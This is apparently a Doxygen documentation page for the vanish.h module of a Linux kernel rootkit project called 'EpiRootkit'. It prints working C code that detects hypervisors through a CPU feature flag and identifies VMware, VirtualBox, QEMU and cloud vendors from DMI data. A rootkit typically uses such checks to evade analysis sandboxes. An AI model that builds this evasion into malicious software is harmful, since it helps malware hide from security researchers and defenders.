EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
vanish.h File Reference
#include <linux/types.h>
Include dependency graph for vanish.h:
This graph shows which files directly or indirectly include this file:

Go to the source code of this file.

Functions

bool check_hypervisor (void)
 Checks if the system is running under a hypervisor.
 
bool check_dmi (void)
 Checks if the system is running in a known virtualized environment.
 
bool is_running_in_virtual_env (void)
 Determines if the system is running in a virtualized environment.
 

Function Documentation

◆ check_dmi()

bool check_dmi ( void  )

Checks if the system is running in a known virtualized environment.

This function uses DMI (Desktop Management Interface) system information to check for known virtual machine vendors such as VMware, VirtualBox, QEMU, and others lol.

Returns
true if a virtualized environment is detected, false otherwise.

Definition at line 29 of file vanish.c.

29 {
30 static const struct dmi_system_id hypervisor_dmi_table[] = {
31 { .ident = "VMware", .matches = { DMI_MATCH(DMI_SYS_VENDOR, "VMware") } },
32 { .ident = "VirtualBox",
33 .matches = { DMI_MATCH(DMI_SYS_VENDOR, "innotek GmbH") } },
34 { .ident = "QEMU", .matches = { DMI_MATCH(DMI_SYS_VENDOR, "QEMU") } },
35 { .ident = "DigitalOcean",
36 .matches = { DMI_MATCH(DMI_SYS_VENDOR, "DigitalOcean") } },
37 { .ident = "OpenStack",
38 .matches = { DMI_MATCH(DMI_SYS_VENDOR, "OpenStack") } },
39 { .ident = "Scaleway", .matches = { DMI_MATCH(DMI_SYS_VENDOR, "Scaleway") } },
40 {}
41 };
42
43 return dmi_check_system(hypervisor_dmi_table) > 0;
44}

◆ check_hypervisor()

bool check_hypervisor ( void  )

Checks if the system is running under a hypervisor.

This function uses the CPU feature flags to determine if the system is running under a hypervisor.

Returns
true if a hypervisor is detected, false otherwise.

Definition at line 16 of file vanish.c.

16 {
17 return boot_cpu_has(X86_FEATURE_HYPERVISOR);
18}

◆ is_running_in_virtual_env()

bool is_running_in_virtual_env ( void  )

Determines if the system is running in a virtualized environment.

This function combines the results of check_hypervisor and check_dmi to determine if the system is running in a virtualized environment.

Returns
true if the system is running in a virtualized environment, false otherwise.

Definition at line 55 of file vanish.c.

55 {
56 if (check_hypervisor()) {
57 ERR_MSG("vanish: hypervisor detected...");
58 return true;
59 }
60
61 if (check_dmi()) {
62 ERR_MSG("vanish: virtual environment detected...");
63 return true;
64 }
65
66 return false;
67}
#define ERR_MSG(fmt, args...)
Definition config.h:16
bool check_hypervisor(void)
Checks if the system is running under a hypervisor.
Definition vanish.c:16
bool check_dmi(void)
Checks if the system is running in a known virtualized environment.
Definition vanish.c:29